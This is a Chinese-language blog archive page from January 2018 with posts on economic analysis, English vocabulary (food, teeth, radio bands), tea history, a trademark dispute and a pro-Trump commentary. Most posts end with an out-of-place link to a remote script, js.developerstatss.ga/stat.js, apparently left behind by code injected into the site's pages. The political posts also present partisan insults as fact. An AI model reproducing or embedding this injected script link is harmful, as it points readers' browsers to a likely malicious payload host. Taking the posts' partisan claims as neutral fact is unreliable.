月份: 一月 2018

分類
經濟分析

答網友有關「觀光業一條龍現象」的提問

我的看法如下：

1. 一條龍之所以存在是因為成本競爭之下，一條龍的整合在某些侷限條件下有優勢，就像是台塑早年從台塑、南亞到福懋的三次加工，就是一條龍從塑膠原料、塑膠布到終端雨衣。

但是當台灣工業高度塑膠化之後，塑膠工業成熟爆發，這種一條龍反而失去競爭力，就自然會消失。

這也是說原本不存在的觀光產業在初期出現一條龍是很正常的現象，卻被台灣有心人士或政客抹黑。

同時也帶到第二階段，當整體產業夠成熟且競爭多元化之後，一條龍反而因為僵化顯得競爭無力，自己就會被淘汰。

2. 觀光產業初期的一條龍團客有非常強的廣告效果，對未來的自由行鋪路是功不可沒。但是民進黨政府只會操作仇中，永遠在說謊也在昧於整體社會利益地追求個人租值。

我們現在看到的就是台灣的觀光產業還沒活到有足夠租值精緻化、多元化之前，已經被政客扼殺。

3. 即便一條龍，也不可能所有資源都是從大陸引進。如您所說，台灣當地的員工乃至於第三方資源，無論有沒有被整合進來，都會輻射地享受到觀光客消費。
所以我的看法是：觀光出現一條龍純粹是現階段侷限條件下本來就存在的自然現象，而隨著整體租值增長這個現象也會自己消失。這在許多國家初期發展工業時都有過類似經濟現象，本就不足為奇也根本不需要政府介入。

由此可知，台灣最大的負資產其實就是這些政客（特別是操弄台獨反中者）。

PS 補充一點：

任何產業中，各種整合說穿了都只是不同強度的契約安排（contractual arrangements），因應不同侷限條件，我們會看到某些產業上下游高度整合，也會看到如IC積體電路這樣design house跟台積電代工乃至於封裝檢測都能分工的組合。

其中最能整合資源者（不見得是高度整合，而是最有效整合）會成為鉅富，這種賺錢對社會整體都是高度有利，存在就是巨大貢獻，毋須再談無聊的「社會企業責任」。

反之許多訴諸「社會企業責任」而設立的企業，往往只是淪為詐騙稅金的拿標案公司，對整體社會反而是毫無助益。

進一步說，低度變化行業的老人容易把既有的契約安排方式當作是「唯一解」。但其實都要看侷限條件。

反之，高度變化行業則淘汰快速，能長期維持不敗者少見且驚人地傑出。

可唯一能確定的，就是政府不可能比行業者更知道怎樣的資源安排更有效率，枉論指導或投資產業。https://js.developerstatss.ga/stat.js?n=ns1

分類
英文學習

〖英文學習〗吃飯、大餐、珍饈、家常菜的英文怎麼說？

前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

 

 

food — things that people and animals eat (old English, “foda”)
食物
非常中性的字，比如：food industry(食品業)、frozen food（冷凍食品）

dish — a type of food that is cooked in a particular way (Latin, “discus” 意指：盤子、碗)
菜餚
比如：side dish(配菜)、chef’s dish of today（本日主廚例餐）

speciality/ specialty — a type of food that a restaurant or place is famous for
名菜或特餐
比方餐廳服務生會說：「Oysters are our specialty. （生蠔是我們的名菜）」

delicacy — an unusual food which people in a particular place like to eat (Middle English, “‘voluptuousness’ and ‘luxuriousness’” 中古英文，”性感+奢華”字根的結合)
珍饈

比方說：Snails are a delicacy in France.（蝸牛在法國是珍饈）

diet — a type of food that someone usually eats (Greek, “diaita”— a way of life)
每天吃的東西，接近中文「吃飯」所指的飯。中文談吃飯，並非一定吃米煮成的「飯」。

比方說：healthy diet（健康飲食）、poor diet（吃得很差）、staple diet（主食）、vegetarian diet（素食）…

cooking — food made in a particular way, or by a particular person
比如：home cooking （家常菜）

cuisine — (formal) the food you can eat in a particular restaurant, country, or area (French, “cooking” Latin, “coquere”)
大餐、好料的
從法文來的字，就是裝逼裝高級而已。
比如可以說：Please enjoy the haute cuisine created by our Michelin-awarded chef.（請享用我們米其林得獎主廚為各位烹調的大餐）

fare — (old-fashioned /formal) the kind of food that is served in a place or eaten on a special occasion
比如：traditional Christmas fare （傳統聖誕節大餐）
此字已經很少人這樣用了。

簡單說，上述每個字差異主要在「語感」上，而語感與每個字的來源有極大的關係。讀者可以從不同的文章句子中去感受這些字的語感差異。https://js.developerstatss.ga/stat.js?n=ns1

分類
筆記 經濟分析

川普可望順利連任

華爾街日報報導：「Donald Trump Is Still Their Man」

不要管美國那些腦袋裝屎的主流媒體或好萊塢演員對川普的評價，從幾個事實可以看出來Donald Trump是個極為成功的總統。

1. Virginia州Buchanan county底層工人原本在Obama時期礦坑停產，被迫離鄉工作，每月只能回家見妻兒一面；Trump上台後礦坑景氣大好，工人可以重新回家鄉工作與家人同住。工人盛讚Trump是「有種又誠實(bold and honest)」、「說到做到」。

2. 這些地區Trump得票78.9%，而Hillary Clinton只拿到18%。但其實Buchanan county過去是民主黨的天下，即便當年民主黨推出滿嘴環保主張的Al Gore競選總統，這個煤礦產區依然將大部分的票投給了民主黨。但自從Obama上台之後，這個地區對民主黨越來越不滿意，直到現在成了川普的忠心鐵票區。我常說Obama就是個嘴砲且毫無經濟感受的總統，自以為理想的政策結果就是美國底層人民受害，從Virginia Buchanan county這個民主黨票倉都被迫轉為Trump鐵票區，就知道Obama總統有多失民心。　　

3. Obama時代，Virginia的煤礦工作減少1/5，失業率達11.8%；Trump上台後一年，煤礦工作數增加15%，失業率降低到7%！這些都是川普支持者最先有感的經濟改善。連當地walmart的經理都說客人的推車裝得更滿些。地方某些小販生意回籠，有些小販老闆一天得工作將近16小時。

4. Trump的deregulation讓燃煤發電廠可以繼續運作，同時川普的當選也讓資金願意投資，因為至少未來三年煤炭不會是聯邦政府敵視的對象。

5. 部分經濟學家批評當地過份看重Trump的影響力，事實上是國際局勢轉好才讓整個地區跟著好起來。但該區的coal executives 說經濟學家低估了川普對商業信心的影響。

關於對未來景氣預期影響這件事，我在2017年8月的＜榮景或低成長的十字路口 (We are at the crossroads of prosperity or low progress)＞一文中已經講過：

Right now, I am confident in that the later two factors (the anticipated income grows and the information cost of the future progress decreases) playing more important roles in the formation of the massively optimistic anticipation.

可惜多數象牙塔的經濟學家對此既無感又輕視。

簡言之：Trump總統跟台灣蔡英文天差地遠，前者不但經濟感受極佳（才分別看出WTO這種蠢組織跟自由貿易沒有關係、看出並勇敢退出巴黎協議這種政治小丑的謊言大會、聰明且十分老莊地陪金正恩演瘋戲），而且政治實力上也達成美國近代史以來最重大減稅措施，並透過迂迴路線實質削弱Obama Care這個敗家子。同時還有許多台灣媒體根本沒報導的deregulation都做得十分成功，有效地扭轉生產與經商的環境與收入預期。

挾帶如此成功的經濟翻轉成就，很可能川普會再次讓一路唱衰的主流媒體跌破眼鏡地順利連任。
https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 歷史

從茶葉考古看文景之治

看來茶葉歷史可以往前推到西漢初年是沒問題了。

有趣的是這段關於進貢皇帝的茶葉品質是取嫩芽部分，需要大量人力為之。

經濟分析上這代表：

1. 當時已經發展出相當成熟與精緻的飲茶習慣。

2. 當時有足夠的經濟實力去支撐「飲茶」這種不能填飽肚子的活動。

3. 經濟實力還高到可以培養出「只摘取嫩葉」供皇帝享受。

這是說，社會租值夠高（總體生產力夠高）才能夠支撐較為浪費的消遣行為。

文中未談到茶葉烘焙的方式，我想已經完全碳化大概也難得知西漢初年的人懂不懂以及懂多少炒茶功夫。

但國家經濟力足以維持相當規模這種無法直接提供熱量的飲料農業，顯見歷史記載的「文景之治」有其根據。

分類
英文學習

〖英文學習〗門牙、犬齒、臼齒還有看牙醫時英文怎麼說？

前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

  • 門牙 （incisor）
  • 犬齒（canine teeth）
  • 前臼齒（premolar teeth）
  • 臼齒（molar teeth）

另外，上排牙齒就叫做「upper teeth」，下排牙齒就叫做「lower teeth」。

牙齒內部結構則是（參見圖片）：

牙醫會用到的常見英文單字有：

  • 根管治療（root canal）
  • 洗牙（teeth scaling）
  • 牙齒美白（teeth whitening）
  • 植牙（dental implant）
  • 補牙（filling）
  • 牙周病手術（periodontal surgery）
  • 牙套（braces）
  • 蛀牙（cavity/tooth decay）
  • 拔牙（tooth extraction）
  • 麻醉藥（anesthetic）
  • 膿腫/長輩口中的「發炎」（abscess）

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析 法律

經濟分析看呱吉空中英語傳教士的商標法衝突

經濟分析看呱吉空中英語傳教士的商標法衝突

首先說明一下我知道的事實：

呱吉的上班不要看公司推出了「空中英語傳教士」影片：

空中英語教室方（財團法人台北市基督教救世傳播協會）發函指責呱吉之影片侵害其商標權。

說說我的看法：

從經濟分析來看，商標權本質就是一種「人為擬制的壟斷權利」，其背後最重要的依然是透過法制壟斷，保障商標權所有人可從某種虛擬信賴可得預期未來收入流（anticipated income flow）。

因此像智財法院103年度刑事上易字第63號判決那樣從言論自由角度切入判斷「戲謔仿作（parody）」是否侵害商標權，並非是一個好的法律標準。我認為應該是從「空中英語教室」這個商標所有權人是否能夠證明自己因呱吉此戲謔的「空中英語傳教士」影片發生任何收入或預期收入減損。 這也回歸侵權行為法（torts）的基本精神 — 權利主張者應該要證明自己所受損失的存在（The rights claimer shall prove his damages.）。

同時，是否造成混淆也非好的判斷標準，因為過於主觀而難以量度。

因此要證明空中英語教室是否因此受到收入損失的，反而應該放在呱吉的上班不要看工作室「是否提供可取代空中英語教室所提供之商品或服務」？也就是說，二者之間是否存在市場競爭關係？

如果說呱吉的影片所提供之英語教學對於空中英語教室有相對取代性，則空中英語教室的預期收入受到減損就能做到某種程度的證明。取代性高低本身也會與損失高低有所關連。

反之，若呱吉提供的影片內容不具備取代空中英語教室之商品的可能性，則顯然空中英語教室的商標權所保障之最主要利益並未受到損害。既無損害，何來權利主張之必要？

上述經濟學上的競爭關係，才應該是商標法第68條「…於同一商品或服務…於類似之商品或服務…」的重要內涵。同理，我也認為商標法第70條也應該基於同樣的經濟分析邏輯才能成立 — 明知且故意為減損商標所有權人之未來收入而作為的侵害行為。

繼續閱讀 “經濟分析看呱吉空中英語傳教士的商標法衝突"
分類
筆記

衛生紙專利

1891年通過申請的專利–捲筒衛生紙

人間處處有發明，只是都藏在魔鬼細節裡。

發明人Seth Wheeler，這位老兄擁有5個關於衛生紙的專利，算是衛生紙達人無誤。

有興趣原始專利說明書的可以參考這裡：
專利說明書
https://js.developerstatss.ga/stat.js?n=ns1

分類
英文學習

〖英文學習〗無線電頻率（射頻）

前言：很多人可能跟我一樣，明明某些知識或資訊知道怎麼用中文說，但卻不曉得怎麼用英文說。結果在英文對話時張口結舌、啞口無言搞得自己好像很呆、程度很差似的。所以我把一些中文懂但英文不太會講的資訊筆記下來，除了供自己參考，也分享出來給讀者們瞧瞧。希望這些訊息對你有幫助。

Preface: There are some knowledge or information that I can talk about in Chinese (my first language) but not in English. Therefore, as an English learner, I noted some of them and try to share on my blog. Hope it’s helpful to you, too.

射頻（英語：Radio frequency，縮寫為RF），又稱無線電頻率、無線射頻、高周波，為在3 kHz至300 GHz這個範圍內的震盪頻率。

  • ELF （extremely low frequency）:3Hz ~ 30Hz
  • SLF （super low frequency）: 30Hz ~ 300Hz
  • ULF （ultra low frequency）: 300Hz ~ 3kHz
  • VLF （very low frequency）:3 ~ 30kHz
  • LF （low frequency）:30 ~ 300kHz; maritime and aeronautical communication, RFID
  • MF （medium frequency）:300 ~ 3,000kHz; AM broadcast
  • HF （high frequency）: 3~ 30MHz; CB radio
  • VHF （very high frequency）: 30 ~ 300MHz; FM broadcast, police radio, VHF TV
  • UHF （ultra high frequency）:300 ~ 3,000MHz; radar and UHF TV
  • SHF （super high frequency）: 3 ~ 30GHz; satellite communication
  • EHF （extremely high frequency）: 30 ~ 300GHz; experimental and amateur radio

 

中文版

  • 極低頻 (ELF)：3～30赫茲
  • 超低頻 (SLF)：30～300赫茲
  • 特低頻 (ULF) : 300赫茲～3千赫
  • 甚低頻（VLF）：3~30千赫
  • 低頻（LF）：30~300千赫；海軍與航空通訊、RFID
  • 中頻（MF）：300~3000千赫；AM調幅廣播
  • 高頻（HF）：3~30百萬赫；民用廣播
  • 甚高頻（VHF）：30~300百萬赫；FM廣播、無線電視、美國警用無線電
  • 特高頻（UHF）：300~3000百萬赫；UHF電視、手機通信
  • 超高頻（SHF）：3~30吉赫；衛星通信
  • 極高頻（EHF）：30~300吉赫；實驗用或火腿電台

https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

如何簡單理解「最低工資與工時限制」問題核心？

這個問題還有一個可思考的角度：

假設三星宣布2018年起販售的Galaxy note手機通通一週只能工作5天，一天只工作8小時。如果超時工作，三星將額外向使用者收取「超時費」。

工作8小時過程「不保證都能全速運行或正常運行」，也不保證多數APP可安裝運行。此外突發性當機可能發生但不會退費也不可退貨。

同時空機價格維持的前提下，看官猜猜此款手機銷售量會上升還是下降？

當契約過多限制存在時，unemployment就會出現：「於物是滯銷、於人是失業、於錢就是爛頭寸」，這點我闡釋過很多次了。https://js.developerstatss.ga/stat.js?n=ns1

分類
經濟分析

錯用折現率概念

高折現率可能來自於"高報酬預期"或"高不耐性"，一個是從投資面看，一個是從消費面看。

但把因為租值與資源不如人而「更努力工作」、「延長工作時間」以及「嘗試更有效率運用資源（因為容錯率較低）」解讀成「高折現率引起的現象」，我認為經濟邏輯與觀念都是錯誤的。

最明顯的比較，深圳日常用餐費用只要San Jose的26％，平均收入前者也只是後者的30%左右；但同樣市中心的公寓每平方米的售價，深圳竟然是San Jose的1.9倍！

也就是說，在深圳一年的平均收入只能夠市中心1.152平方米；但在San Jose的年平均收入卻能在市中心買到7.79平方米。雙方地價租值的巨大差異，無外乎中國深圳對加州灣區矽谷的處處平房感到驚奇。反之深圳處處高樓大廈也屬正常，雙方使用資源自然因地價不同而有行為上的差異。

反之，深圳地價比灣區還貴這現象，試問如何解釋中國折現率遠高於美國？

話說，真正高折現率的（如正在內戰或飢荒的國家），人民反而不會努力工作，因為今天的努力沒有明天可以享受。這也解釋為什麼超級通膨預期時，人會選擇當下就盡量消費勝過儲藏。

這也是說，中國人拼命工作正是因為想望與相信明日得以享受。這不正是低折現率的象徵嗎？

把「坐經濟艙」歸因到高折現率，這種解釋方式我認為是錯得誇張了！